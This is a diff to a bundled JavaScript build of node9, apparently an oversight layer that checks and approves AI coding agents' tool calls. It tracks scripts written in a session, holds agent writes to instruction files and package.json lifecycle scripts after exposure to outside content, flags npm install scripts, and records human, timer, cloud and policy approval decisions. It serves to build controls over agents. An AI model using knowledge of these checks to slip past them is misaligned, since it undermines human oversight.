+    let n = 0;
+    while (n < buf.length) {
+      const got = import_fs13.default.readSync(fd, buf, n, buf.length - n, n);
+      if (got === 0) break;
+      n += got;
+    }
+    if (n > MAX_SCRIPT_BYTES) return null;
+    return buf.subarray(0, n).toString("utf8");
+  } catch {
+    return null;
+  } finally {
+    if (fd !== void 0) {
+      try {
+        import_fs13.default.closeSync(fd);
+      } catch {
+      }
+    }
+  }
+}
+function absolute(p, cwd, home) {
+  const spelled = p === "~" || p.startsWith("~/") ? home + p.slice(1) : p;
+  return import_path15.default.resolve(cwd, spelled);
+}
+async function resolveSessionScript(toolName, args, cwd, layers, deps, home = import_os11.default.homedir()) {
+  try {
+    const d = deps ?? { checkWritten, readScript: readScriptFile };
+    const shell = resolveShellInput(toolName, args, layers);
+    if (shell.kind !== "shell") return null;
+    const operands2 = shellScriptOperands(shell.command);
+    if (operands2.length === 0) return null;
+    const base2 = cwd ?? process.cwd();
+    const byResolved = /* @__PURE__ */ new Map();
+    for (const op of operands2) byResolved.set(absolute(op, base2, home), op);
+    const { written } = await d.checkWritten([...byResolved.keys()]);
+    for (const resolved of written) {
+      const spelled = byResolved.get(resolved);
+      if (spelled === void 0) continue;
+      const content = d.readScript(resolved);
+      if (content === null || content.trim() === "") continue;
+      const scriptArgs = { command: content };
+      return {
+        path: spelled,
+        resolved,
+        args: scriptArgs,
+        fileAccess: prepareFileAccesses("Bash", scriptArgs, base2, layers, home)
+      };
+    }
+    return null;
+  } catch {
+    return null;
+  }
+}
+function sessionWriteTargets(toolName, args, fileAccess, cwd, home = import_os11.default.homedir()) {
+  const base2 = cwd ?? process.cwd();
+  const out = /* @__PURE__ */ new Set();
+  const argsObj = args && typeof args === "object" ? args : {};
+  const named = argsObj.file_path ?? argsObj.path ?? argsObj.filename;
+  if (typeof named === "string" && named && /write|edit|create|save|append/i.test(toolName))
+    out.add(absolute(named, base2, home));
+  for (const a of fileAccess?.accesses ?? []) {
+    if (a.operation !== "write" && a.operation !== "create") continue;
+    if (a.glob || a.recursive) continue;
+    out.add(absolute(a.path, a.cwd ?? base2, home));
+    if (out.size >= MAX_RECORDED_WRITES) break;
+  }
+  return [...out];
+}
+async function recordSessionWrites(toolName, args, fileAccess, cwd) {
+  try {
+    const targets = sessionWriteTargets(toolName, args, fileAccess, cwd);
+    if (targets.length) await notifyWritten(targets);
+  } catch {
+  }
+}
+
 // src/auth/orchestrator.ts
 init_dist();
 init_dist();
@@ -16063,26 +17298,26 @@ init_audit();
 init_dist();
 
 // src/exposure/known-hosts.ts
-var import_fs14 = __toESM(require("fs"));
-var import_path16 = __toESM(require("path"));
+var import_fs15 = __toESM(require("fs"));
+var import_path17 = __toESM(require("path"));
 
 // src/utils/git-remotes.ts
-var import_fs13 = __toESM(require("fs"));
-var import_path15 = __toESM(require("path"));
+var import_fs14 = __toESM(require("fs"));
+var import_path16 = __toESM(require("path"));
 init_dist();
 function readSmallFile(p, max) {
   let fd;
   try {
-    fd = import_fs13.default.openSync(p, import_fs13.default.constants.O_RDONLY | (import_fs13.default.constants.O_NOFOLLOW ?? 0));
-    const st = import_fs13.default.fstatSync(fd);
+    fd = import_fs14.default.openSync(p, import_fs14.default.constants.O_RDONLY | (import_fs14.default.constants.O_NOFOLLOW ?? 0));
+    const st = import_fs14.default.fstatSync(fd);
     if (!st.isFile() || st.size > max) return null;
     const buf = Buffer.alloc(st.size);
-    const n = import_fs13.default.readSync(fd, buf, 0, st.size, 0);
+    const n = import_fs14.default.readSync(fd, buf, 0, st.size, 0);
     return buf.subarray(0, n).toString("utf8");
   } catch {
     return null;
   } finally {
-    if (fd !== void 0) import_fs13.default.closeSync(fd);
+    if (fd !== void 0) import_fs14.default.closeSync(fd);
   }
 }
 function gitRemoteHost(url) {
@@ -16101,20 +17336,20 @@ function gitRemoteHost(url) {
   return null;
 }
 function findGitConfig(dir2, walkUp = true) {
-  let cur = import_path15.default.resolve(dir2);
+  let cur = import_path16.default.resolve(dir2);
   for (let i = 0; i < (walkUp ? 64 : 1); i++) {
-    const dotGit = import_path15.default.join(cur, ".git");
-    const direct = readSmallFile(import_path15.default.join(dotGit, "config"), 1e6);
+    const dotGit = import_path16.default.join(cur, ".git");
+    const direct = readSmallFile(import_path16.default.join(dotGit, "config"), 1e6);
     if (direct !== null) return direct;
     const pointer = readSmallFile(dotGit, 4096);
     const m = pointer && /^gitdir:\s*(.+?)\s*$/m.exec(pointer);
     if (m) {
-      let gitDir = import_path15.default.resolve(cur, m[1]);
-      const common = readSmallFile(import_path15.default.join(gitDir, "commondir"), 4096);
-      if (common !== null) gitDir = import_path15.default.resolve(gitDir, common.trim());
-      return readSmallFile(import_path15.default.join(gitDir, "config"), 1e6);
+      let gitDir = import_path16.default.resolve(cur, m[1]);
+      const common = readSmallFile(import_path16.default.join(gitDir, "commondir"), 4096);
+      if (common !== null) gitDir = import_path16.default.resolve(gitDir, common.trim());
+      return readSmallFile(import_path16.default.join(gitDir, "config"), 1e6);
     }
-    const parent = import_path15.default.dirname(cur);
+    const parent = import_path16.default.dirname(cur);
     if (parent === cur) return null;
     cur = parent;
   }
@@ -16124,12 +17359,12 @@ var cache = /* @__PURE__ */ new Map();
 function readGitRemotes(dir2, opts = {}) {
   if (!dir2) return [];
   const walkUp = opts.walkUp !== false;
-  const key = `${walkUp ? "up" : "at"}:${import_path15.default.resolve(dir2)}`;
+  const key = `${walkUp ? "up" : "at"}:${import_path16.default.resolve(dir2)}`;
   const hit = cache.get(key);
   if (hit) return hit;
   const out = [];
   try {
-    const cfg = findGitConfig(import_path15.default.resolve(dir2), walkUp);
+    const cfg = findGitConfig(import_path16.default.resolve(dir2), walkUp);
     if (cfg !== null) {
       let current = null;
       for (const line of cfg.split(/\r?\n/)) {
@@ -16165,15 +17400,15 @@ var ECOSYSTEMS = [
 ];
 var cache2 = /* @__PURE__ */ new Map();
 function manifestRoot(dir2) {
-  let cur = import_path16.default.resolve(dir2);
+  let cur = import_path17.default.resolve(dir2);
   for (let i = 0; i < 64; i++) {
     for (const [m] of ECOSYSTEMS) {
       try {
-        if (import_fs14.default.existsSync(import_path16.default.join(cur, m))) return cur;
+        if (import_fs15.default.existsSync(import_path17.default.join(cur, m))) return cur;
       } catch {
       }
     }
-    const parent = import_path16.default.dirname(cur);
+    const parent = import_path17.default.dirname(cur);
     if (parent === cur) return null;
     cur = parent;
   }
@@ -16182,7 +17417,7 @@ function manifestRoot(dir2) {
 function knownProjectHosts(dir2) {
   const empty = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
   if (!dir2) return empty;
-  const key = import_path16.default.resolve(dir2);
+  const key = import_path17.default.resolve(dir2);
   const hit = cache2.get(key);
   if (hit) return hit;
   const out = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
@@ -16195,10 +17430,10 @@ function knownProjectHosts(dir2) {
     const root = manifestRoot(key);
     if (root !== null) {
       for (const [m, registry] of ECOSYSTEMS) {
-        if (import_fs14.default.existsSync(import_path16.default.join(root, m))) out.hosts.add(registry);
+        if (import_fs15.default.existsSync(import_path17.default.join(root, m))) out.hosts.add(registry);
       }
       try {
-        if (import_fs14.default.readdirSync(root).some((f) => f.endsWith(".gemspec")))
+        if (import_fs15.default.readdirSync(root).some((f) => f.endsWith(".gemspec")))
           out.hosts.add("host:rubygems.org");
       } catch {
       }
@@ -16210,9 +17445,9 @@ function knownProjectHosts(dir2) {
 }
 
 // src/exposure/writes.ts
-var import_fs15 = __toESM(require("fs"));
-var import_os11 = __toESM(require("os"));
-var import_path17 = __toESM(require("path"));
+var import_fs16 = __toESM(require("fs"));
+var import_os12 = __toESM(require("os"));
+var import_path18 = __toESM(require("path"));
 init_dist();
 var WRITE_OPS = /* @__PURE__ */ new Set(["write", "create", "remove"]);
 var LIFECYCLE_RE = /"(scripts|preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack|publish|postpublish)"\s*:/;
@@ -16242,7 +17477,7 @@ function packageScriptsTouched(args, absPath, shellCommand) {
   if (typeof a.content === "string") {
     try {
       const next = JSON.parse(a.content);
-      const prev = JSON.parse(import_fs15.default.readFileSync(absPath, "utf8"));
+      const prev = JSON.parse(import_fs16.default.readFileSync(absPath, "utf8"));
       return JSON.stringify(next.scripts ?? null) !== JSON.stringify(prev.scripts ?? null);
     } catch {
       return LIFECYCLE_RE.test(a.content);
@@ -16252,8 +17487,8 @@ function packageScriptsTouched(args, absPath, shellCommand) {
 }
 function judgeWritesAfterExposure(opts) {
   const holds = [];
-  const home = opts.home ?? import_os11.default.homedir();
-  const tmp = normalizeFilePath(import_os11.default.tmpdir());
+  const home = opts.home ?? import_os12.default.homedir();
+  const tmp = normalizeFilePath(import_os12.default.tmpdir());
   const root = opts.cwd ? normalizeFilePath(opts.cwd, "", home) : null;
   const seen = /* @__PURE__ */ new Set();
   for (const access of opts.accesses) {
@@ -16263,7 +17498,7 @@ function judgeWritesAfterExposure(opts) {
     seen.add(p);
     if (p === "/dev" || p.startsWith("/dev/")) continue;
     if (root !== null && isInside(root, p)) {
-      if (isAgentInstructionPath(p, root) && (import_path17.default.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
+      if (isAgentInstructionPath(p, root) && (import_path18.default.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
         holds.push({ path: p, why: "agent-instruction" });
       continue;
     }
@@ -16285,25 +17520,25 @@ function judgeWritesAfterExposure(opts) {
 
 // src/exposure/marker.ts
 var import_crypto8 = __toESM(require("crypto"));
-var import_fs16 = __toESM(require("fs"));
-var import_os12 = __toESM(require("os"));
-var import_path18 = __toESM(require("path"));
+var import_fs17 = __toESM(require("fs"));
+var import_os13 = __toESM(require("os"));
+var import_path19 = __toESM(require("path"));
 
 // src/daemon/exposure-store.ts
 var SESSION_EXPOSURE_TTL_MS = 4 * 60 * 60 * 1e3;
 
 // src/exposure/marker.ts
 function dir() {
-  return import_path18.default.join(import_os12.default.homedir(), ".node9", "exposure-sessions");
+  return import_path19.default.join(import_os13.default.homedir(), ".node9", "exposure-sessions");
 }
 function file(sessionId) {
   const id = import_crypto8.default.createHash("sha256").update(sessionId).digest("hex").slice(0, 32);
-  return import_path18.default.join(dir(), id);
+  return import_path19.default.join(dir(), id);
 }
 function maybeSessionExposed(sessionId) {
   if (!sessionId) return false;
   try {
-    const st = import_fs16.default.statSync(file(sessionId));
+    const st = import_fs17.default.statSync(file(sessionId));
     return Date.now() - st.mtimeMs < SESSION_EXPOSURE_TTL_MS;
   } catch (e) {
     return e.code !== "ENOENT";
@@ -16311,20 +17546,20 @@ function maybeSessionExposed(sessionId) {
 }
 
 // src/exposure/roles.ts
-var import_fs18 = __toESM(require("fs"));
+var import_fs19 = __toESM(require("fs"));
 
 // src/daemon/mcp-tools.ts
-var import_fs17 = __toESM(require("fs"));
-var import_path19 = __toESM(require("path"));
-var import_os13 = __toESM(require("os"));
+var import_fs18 = __toESM(require("fs"));
+var import_path20 = __toESM(require("path"));
+var import_os14 = __toESM(require("os"));
 function getMcpToolsFile() {
-  return import_path19.default.join(import_os13.default.homedir(), ".node9", "mcp-tools.json");
+  return import_path20.default.join(import_os14.default.homedir(), ".node9", "mcp-tools.json");
 }
 function readMcpToolsConfig() {
   try {
     const file2 = getMcpToolsFile();
-    if (!import_fs17.default.existsSync(file2)) return {};
-    const raw = import_fs17.default.readFileSync(file2, "utf-8");
+    if (!import_fs18.default.existsSync(file2)) return {};
+    const raw = import_fs18.default.readFileSync(file2, "utf-8");
     return JSON.parse(raw);
   } catch {
     return {};
@@ -16341,7 +17576,7 @@ var inventoryCache = null;
 var inventoryStamp = null;
 function inventoryFileStamp() {
   try {
-    const st = import_fs18.default.statSync(getMcpToolsFile());
+    const st = import_fs19.default.statSync(getMcpToolsFile());
     return `${st.mtimeMs}:${st.size}`;
   } catch {
     return "";
@@ -16425,16 +17660,16 @@ function sourceWord(toolName) {
 }
 
 // src/auth/trusted-recipients.ts
-var import_fs19 = __toESM(require("fs"));
-var import_path20 = __toESM(require("path"));
-var import_os14 = __toESM(require("os"));
+var import_fs20 = __toESM(require("fs"));
+var import_path21 = __toESM(require("path"));
+var import_os15 = __toESM(require("os"));
 init_dist();
 function getTrustedRecipientsPath() {
-  return import_path20.default.join(import_os14.default.homedir(), ".node9", "trusted-recipients.json");
+  return import_path21.default.join(import_os15.default.homedir(), ".node9", "trusted-recipients.json");
 }
 function readTrustedRecipients() {
   try {
-    const raw = import_fs19.default.readFileSync(getTrustedRecipientsPath(), "utf8");
+    const raw = import_fs20.default.readFileSync(getTrustedRecipientsPath(), "utf8");
     const parsed = JSON.parse(raw);
     return Array.isArray(parsed.entries) ? parsed.entries.filter((e) => e && typeof e.value === "string") : [];
   } catch {
@@ -16443,10 +17678,10 @@ function readTrustedRecipients() {
 }
 function writeTrustedRecipients(entries) {
   const filePath = getTrustedRecipientsPath();
-  import_fs19.default.mkdirSync(import_path20.default.dirname(filePath), { recursive: true });
+  import_fs20.default.mkdirSync(import_path21.default.dirname(filePath), { recursive: true });
   const tmp = filePath + ".node9-tmp";
-  import_fs19.default.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
-  import_fs19.default.renameSync(tmp, filePath);
+  import_fs20.default.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
+  import_fs20.default.renameSync(tmp, filePath);
 }
 function addTrustedRecipient(raw, addedBy = "user") {
   const value = normalizeRecipient(raw);
@@ -16461,7 +17696,7 @@ function addTrustedRecipient(raw, addedBy = "user") {
 var cache3 = null;
 function mtimeOf() {
   try {
-    return import_fs19.default.statSync(getTrustedRecipientsPath()).mtimeMs;
+    return import_fs20.default.statSync(getTrustedRecipientsPath()).mtimeMs;
   } catch {
     return 0;
   }
@@ -16475,29 +17710,29 @@ function isTrustedRecipient(value) {
 }
 
 // src/auth/cloud.ts
-var import_fs21 = __toESM(require("fs"));
-var import_os15 = __toESM(require("os"));
-var import_path21 = __toESM(require("path"));
+var import_fs22 = __toESM(require("fs"));
+var import_os16 = __toESM(require("os"));
+var import_path22 = __toESM(require("path"));
 init_audit();
 
 // src/utils/read-capped.ts
-var import_fs20 = __toESM(require("fs"));
+var import_fs21 = __toESM(require("fs"));
 function readCapped(file2, maxBytes) {
   if (maxBytes < 0) return null;
   let fd;
   try {
-    fd = import_fs20.default.openSync(file2, "r");
+    fd = import_fs21.default.openSync(file2, "r");
   } catch {
     return null;
   }
   try {
-    const st = import_fs20.default.fstatSync(fd);
+    const st = import_fs21.default.fstatSync(fd);
     if (!st.isFile()) return null;
     const want = Math.min(st.size, maxBytes + 1);
     const buf = Buffer.alloc(want);
     let read = 0;
     while (read < want) {
-      const n = import_fs20.default.readSync(fd, buf, read, want - read, read);
+      const n = import_fs21.default.readSync(fd, buf, read, want - read, read);
       if (n <= 0) break;
       read += n;
     }
@@ -16509,7 +17744,7 @@ function readCapped(file2, maxBytes) {
     return null;
   } finally {
     try {
-      import_fs20.default.closeSync(fd);
+      import_fs21.default.closeSync(fd);
     } catch {
     }
   }
@@ -16554,7 +17789,7 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
   let ciContext;
   if (process.env.CI) {
     try {
-      const ciContextPath = import_path21.default.join(import_os15.default.homedir(), ".node9", "ci-context.json");
+      const ciContextPath = import_path22.default.join(import_os16.default.homedir(), ".node9", "ci-context.json");
       const ci = readCappedText(ciContextPath, 1e4);
       if (!ci) throw new Error("ci-context.json unreadable");
       if (ci.truncated) throw new Error("ci-context.json exceeds 10 KB");
@@ -16596,9 +17831,9 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
         context: {
           agent: meta?.agent,
           mcpServer: meta?.mcpServer,
-          hostname: import_os15.default.hostname(),
+          hostname: import_os16.default.hostname(),
           cwd: process.cwd(),
-          platform: import_os15.default.platform()
+          platform: import_os16.default.platform()
         },
         // The SaaS validates riskMetadata strictly and would drop it whole on
         // an unknown key, so only fields its schema declares go on the wire.
@@ -16672,14 +17907,14 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
     });
     clearTimeout(timer);
     if (!res.ok) {
-      import_fs21.default.appendFileSync(
+      import_fs22.default.appendFileSync(
         HOOK_DEBUG_LOG,
         `[resolve-cloud] PATCH ${safeMessage(resolveUrl, 200)} \u2192 HTTP ${res.status}
 `
       );
     }
   } catch (err) {
-    import_fs21.default.appendFileSync(
+    import_fs22.default.appendFileSync(
       HOOK_DEBUG_LOG,
       `[resolve-cloud] PATCH failed for ${safeMessage(requestId, 64)}: ${safeMessage(err)}
 `
@@ -16688,18 +17923,18 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
 }
 
 // src/loop-detector.ts
-var import_fs22 = __toESM(require("fs"));
-var import_path22 = __toESM(require("path"));
-var import_os16 = __toESM(require("os"));
+var import_fs23 = __toESM(require("fs"));
+var import_path23 = __toESM(require("path"));
+var import_os17 = __toESM(require("os"));
 init_dist();
 init_dist();
 function loopStateFile() {
-  return import_path22.default.join(import_os16.default.homedir(), ".node9", "loop-state.json");
+  return import_path23.default.join(import_os17.default.homedir(), ".node9", "loop-state.json");
 }
 function readState() {
   try {
-    if (!import_fs22.default.existsSync(loopStateFile())) return [];
-    const raw = import_fs22.default.readFileSync(loopStateFile(), "utf-8");
+    if (!import_fs23.default.existsSync(loopStateFile())) return [];
+    const raw = import_fs23.default.readFileSync(loopStateFile(), "utf-8");
     const parsed = JSON.parse(raw);
     if (!Array.isArray(parsed)) return [];
     return parsed;
@@ -16708,11 +17943,11 @@ function readState() {
   }
 }
 function writeState(records) {
-  const dir2 = import_path22.default.dirname(loopStateFile());
-  if (!import_fs22.default.existsSync(dir2)) import_fs22.default.mkdirSync(dir2, { recursive: true });
-  const tmpPath = `${loopStateFile()}.${import_os16.default.hostname()}.${process.pid}.tmp`;
-  import_fs22.default.writeFileSync(tmpPath, JSON.stringify(records));
-  import_fs22.default.renameSync(tmpPath, loopStateFile());
+  const dir2 = import_path23.default.dirname(loopStateFile());
+  if (!import_fs23.default.existsSync(dir2)) import_fs23.default.mkdirSync(dir2, { recursive: true });
+  const tmpPath = `${loopStateFile()}.${import_os17.default.hostname()}.${process.pid}.tmp`;
+  import_fs23.default.writeFileSync(tmpPath, JSON.stringify(records));
+  import_fs23.default.renameSync(tmpPath, loopStateFile());
 }
 function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
   try {
@@ -16726,21 +17961,21 @@ function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
 
 // src/supply-chain/check.ts
 var import_picomatch3 = __toESM(require("picomatch"));
-var import_path25 = __toESM(require("path"));
+var import_path26 = __toESM(require("path"));
 init_dist();
 
 // src/supply-chain/osv-index.ts
-var import_fs23 = __toESM(require("fs"));
-var import_os17 = __toESM(require("os"));
-var import_path23 = __toESM(require("path"));
+var import_fs24 = __toESM(require("fs"));
+var import_os18 = __toESM(require("os"));
+var import_path24 = __toESM(require("path"));
 var import_crypto9 = require("crypto");
 init_dist();
 var INDEX_FRESH_MS = 72 * 60 * 60 * 1e3;
 function osvRoot() {
-  return import_path23.default.join(import_os17.default.homedir(), ".node9", "osv");
+  return import_path24.default.join(import_os18.default.homedir(), ".node9", "osv");
 }
 function ecoDir(eco) {
-  return import_path23.default.join(osvRoot(), eco);
+  return import_path24.default.join(osvRoot(), eco);
 }
 function indexKey(eco, name) {
   switch (eco) {
@@ -16759,11 +17994,11 @@ function shardOf(key) {
   return (0, import_crypto9.createHash)("sha1").update(key).digest("hex").slice(0, 2);
 }
 function shardPath(eco, shard) {
-  return import_path23.default.join(ecoDir(eco), "shards", `${shard}.json`);
+  return import_path24.default.join(ecoDir(eco), "shards", `${shard}.json`);
 }
 function readMeta(eco) {
   try {
-    const m = JSON.parse(import_fs23.default.readFileSync(import_path23.default.join(ecoDir(eco), "meta.json"), "utf8"));
+    const m = JSON.parse(import_fs24.default.readFileSync(import_path24.default.join(ecoDir(eco), "meta.json"), "utf8"));
     if (typeof m?.syncedAt !== "string" || typeof m?.lastModifiedMs !== "number") return null;
     return m;
   } catch {
@@ -16772,7 +18007,7 @@ function readMeta(eco) {
 }
 function readShard(eco, shard) {
   try {
-    const s = JSON.parse(import_fs23.default.readFileSync(shardPath(eco, shard), "utf8"));
+    const s = JSON.parse(import_fs24.default.readFileSync(shardPath(eco, shard), "utf8"));
     return s && typeof s === "object" && !Array.isArray(s) ? s : {};
   } catch {
     return {};
@@ -16901,21 +18136,48 @@ async function queryOsvMalicious(queries) {
 var import_semver = require("semver");
 var TIMEOUT_MS2 = 1500;
 var MAX_BYTES = 2 * 1024 * 1024;
+var VERSION_DOC_MAX_BYTES = 256 * 1024;
+var INSTALL_SCRIPTS = ["preinstall", "install", "postinstall"];
+async function npmVersionDocument(url, selector) {
+  const doc = await fetchJson(`${url}/${encodeURIComponent(selector)}`, {
+    timeoutMs: TIMEOUT_MS2,
+    maxBytes: VERSION_DOC_MAX_BYTES
+  });
+  if (!doc?.version) return null;
+  const scripts = doc.scripts ?? {};
+  return {
+    version: doc.version,
+    hasInstallScript: INSTALL_SCRIPTS.some(
+      (k) => typeof scripts[k] === "string" && scripts[k].length > 0
+    ),
+    ageFallback: `abbreviated document over the size cap; version read from /${selector}, which has no publish time`
+  };
+}
 async function npmInfo(name, version, freshWindowMs, raw) {
   const base2 = endpoints().npmRegistry;
   if (!base2) return null;
   const url = `${base2}/${name.replaceAll("/", "%2F")}`;
-  const doc = await fetchJson(url, {
-    timeoutMs: TIMEOUT_MS2,
-    maxBytes: MAX_BYTES,
-    headers: { Accept: "application/vnd.npm.install-v1+json" }
-  });
-  if (!doc) return null;
-  const latest = doc["dist-tags"]?.latest;
   const aliasStart = raw?.indexOf("@npm:") ?? -1;
   const target = aliasStart > 0 ? raw.slice(aliasStart + 5) : raw?.replace(/^npm:/, "");
   const specStart = target?.indexOf("@", 1) ?? -1;
   const spec = specStart > 0 ? target.slice(specStart + 1) : "";
+  let doc;
+  try {
+    doc = await fetchJson(url, {
+      timeoutMs: TIMEOUT_MS2,
+      maxBytes: MAX_BYTES,
+      headers: { Accept: "application/vnd.npm.install-v1+json" }
+    });
+  } catch (err) {
+    if (!/too large/.test(err.message)) throw err;
+    const range = !version && spec && (0, import_semver.validRange)(spec) ? spec : null;
+    const selector = version ?? (spec && !range ? spec : "latest");
+    const info2 = await npmVersionDocument(url, selector);
+    if (info2 && range && !(0, import_semver.satisfies)(info2.version, range)) return null;
+    return info2;
+  }
+  if (!doc) return null;
+  const latest = doc["dist-tags"]?.latest;
   let resolved = version;
   if (!resolved) {
     if (!spec) resolved = latest;
@@ -16972,19 +18234,19 @@ async function registryInfo(eco, name, version, freshWindowMs, raw) {
 }
 
 // src/supply-chain/local-resolve.ts
-var import_fs24 = __toESM(require("fs"));
-var import_path24 = __toESM(require("path"));
+var import_fs25 = __toESM(require("fs"));
+var import_path25 = __toESM(require("path"));
 var MAX_LEVELS = 32;
 var LOCAL_FIRST_MANAGERS = /* @__PURE__ */ new Set(["npx", "bunx", "npm exec"]);
 function resolveInstalled(name, cwd) {
-  if (!cwd || !import_path24.default.isAbsolute(cwd)) return null;
+  if (!cwd || !import_path25.default.isAbsolute(cwd)) return null;
   if (!/^(?:@[^/\\]+\/)?[^/\\]+$/.test(name)) return null;
-  let dir2 = import_path24.default.resolve(cwd);
+  let dir2 = import_path25.default.resolve(cwd);
   for (let i = 0; i < MAX_LEVELS; i++) {
-    const pkgDir = import_path24.default.join(dir2, "node_modules", ...name.split("/"));
-    const manifest = import_path24.default.join(pkgDir, "package.json");
+    const pkgDir = import_path25.default.join(dir2, "node_modules", ...name.split("/"));
+    const manifest = import_path25.default.join(pkgDir, "package.json");
     try {
-      const raw = import_fs24.default.readFileSync(manifest, "utf8");
+      const raw = import_fs25.default.readFileSync(manifest, "utf8");
       const parsed = JSON.parse(raw);
       if (typeof parsed.version === "string" && parsed.version.length > 0) {
         return { version: parsed.version, dir: pkgDir };
@@ -16992,7 +18254,7 @@ function resolveInstalled(name, cwd) {
       return null;
     } catch {
     }
-    const parent = import_path24.default.dirname(dir2);
+    const parent = import_path25.default.dirname(dir2);
     if (parent === dir2) break;
     dir2 = parent;
   }
@@ -17114,7 +18376,7 @@ function checkInstalled(p, version, misses) {
 }
 async function checkOne(p, cfg, misses, networkCapped, cwd) {
   if (p.ecosystem === "npm" && LOCAL_FIRST_MANAGERS.has(p.manager) && p.localCwd !== null && (p.raw === p.name || p.version)) {
-    const localCwd = cwd && import_path25.default.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => import_path25.default.resolve(dir2, step), cwd) : void 0;
+    const localCwd = cwd && import_path26.default.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => import_path26.default.resolve(dir2, step), cwd) : void 0;
     const installed = resolveInstalled(p.name, localCwd);
     if (installed && (!p.version || p.version === installed.version))
       return checkInstalled(p, installed.version, misses);
@@ -17129,7 +18391,7 @@ async function checkOne(p, cfg, misses, networkCapped, cwd) {
       if (!info) misses.push(`${label(p, p.version)}: registry metadata unavailable`);
       else if (info.ageFallback)
         misses.push(
-          `${label(p, info.version)}: age from the package modified time (${info.ageFallback})`
+          `${label(p, info.version)}: ${info.publishedAtMs === void 0 ? "publish time unavailable" : "age from the package modified time"} (${info.ageFallback})`
         );
     } catch (err) {
       misses.push(`${label(p, p.version)}: registry ${err.message}`);
@@ -17220,17 +18482,98 @@ function asApprovalRequest(description) {
   return description;
 }
 
-// src/auth/decision-sources.ts
-var HUMAN_DECISION_SOURCES = /* @__PURE__ */ new Set([
-  "terminal",
-  "browser",
-  "native"
-]);
-var REDIRECT_SOURCE = "terminal-redirect";
-var DECISION_ROUTE_SOURCES = /* @__PURE__ */ new Set([
-  ...HUMAN_DECISION_SOURCES,
-  REDIRECT_SOURCE
-]);
+// src/auth/card-result.ts
+var CHANNEL_NAMES = {
+  terminal: "Terminal (node9 tail)",
+  monitor: "node9 monitor",
+  native: "system dialog window",
+  cloud: "organization"
+};
+function authResultFromRecord(r, ctx = {}) {
+  const who = { decidedBy: r.decidedBy, ...r.channel && { channel: r.channel } };
+  switch (r.decidedBy) {
+    case "person": {
+      const channel = r.channel ?? "terminal";
+      const decisionSource = channel === "native" ? "native" : "terminal";
+      if (r.decision === "allow") {
+        return { approved: true, checkedBy: "daemon", decisionSource, ...who };
+      }
+      return {
+        approved: false,
+        reason: r.redirect || `The human user rejected this action via the Node9 ${CHANNEL_NAMES[channel]}.`,
+        blockedBy: "local-decision",
+        blockedByLabel: r.label,
+        decisionSource,
+        ...who,
+        ...r.redirect && { redirect: r.redirect }
+      };
+    }
+    case "timer":
+      if (r.decision === "deny" && ctx.downgradedBlock)
+        return { ...ctx.downgradedBlock, blockedBy: "timeout", ...who };
+      return r.decision === "allow" ? { approved: true, ...who } : {
+        approved: false,
+        reason: ctx.timeoutReason || r.reason || "No response: auto-denied after the approval timeout.",
+        blockedBy: "timeout",
+        blockedByLabel: TIMER_LABEL,
+        ...who
+      };
+    case "cloud":
+      return r.decision === "allow" ? { approved: true, checkedBy: "cloud", decisionSource: "cloud", ...who } : {
+        approved: false,
+        reason: r.reason || "Action rejected by organization administrator via Slack.",
+        blockedBy: "team-policy",
+        blockedByLabel: CLOUD_LABEL,
+        decisionSource: "cloud",
+        ...who
+      };
+    case "policy":
+      return r.decision === "allow" ? { approved: true, checkedBy: "local-policy", ...who } : {
+        approved: false,
+        reason: r.reason || "Action blocked by policy.",
+        blockedBy: "local-config",
+        blockedByLabel: r.label,
+        ...r.ruleName && { ruleHit: r.ruleName },
+        ...who
+      };
+    case "abandoned":
+      return {
+        approved: false,
+        reason: r.reason || "No approver was left to answer.",
+        blockedBy: "no-approval-mechanism",
+        blockedByLabel: ABANDONED_LABEL,
+        ...who
+      };
+  }
+}
+function approvalUnavailable(reason) {
+  return {
+    approved: false,
+    reason: reason || "node9 could not get an approval decision for this call.",
+    blockedBy: "no-approval-mechanism",
+    blockedByLabel: "Approval Unavailable"
+  };
+}
+function decidedByOf(res) {
+  if (res.decidedBy) return res.decidedBy;
+  if (res.blockedBy === "timeout") return "timer";
+  if (res.checkedBy === "cloud" || res.blockedBy === "team-policy") return "cloud";
+  return "policy";
+}
+function recordFromAuthResult(res, now = Date.now()) {
+  const decidedBy = decidedByOf(res);
+  const channel = res.channel ?? (decidedBy === "cloud" ? "cloud" : decidedBy === "person" ? "native" : void 0);
+  return {
+    decision: res.approved ? "allow" : "deny",
+    decidedBy,
+    ...channel && { channel },
+    label: res.blockedByLabel || (decidedBy === "cloud" ? CLOUD_LABEL : decidedBy === "timer" ? TIMER_LABEL : res.approved ? "Allowed" : "Blocked"),
+    ...res.reason && { reason: res.reason.slice(0, 2e3) },
+    ...res.ruleHit && { ruleName: res.ruleHit },
+    ...res.redirect && { redirect: res.redirect },
+    decidedAt: now
+  };
+}
 
 // src/auth/orchestrator.ts
 var SENSITIVE_PATH_PATTERN = sensitivePathMatch("").patternName;
@@ -17275,6 +18618,15 @@ var WRITE_TOOLS = /* @__PURE__ */ new Set([
   "notebook_edit",
   "notebookedit"
 ]);
+var VERDICT_RANK2 = { allow: 0, review: 1, block: 2 };
+function fromScript(v, script) {
+  const inScript = (text) => `In ${script}, a script written this session: ${text ?? "the shell checks asked for a review"}`;
+  return {
+    ...v,
+    reason: inScript(v.reason),
+    ruleDescription: inScript(v.ruleDescription ?? v.reason)
+  };
+}
 function isWriteTool(toolName) {
   const t = toolName.toLowerCase().replace(/[^a-z_]/g, "_");
   return WRITE_TOOLS.has(t);
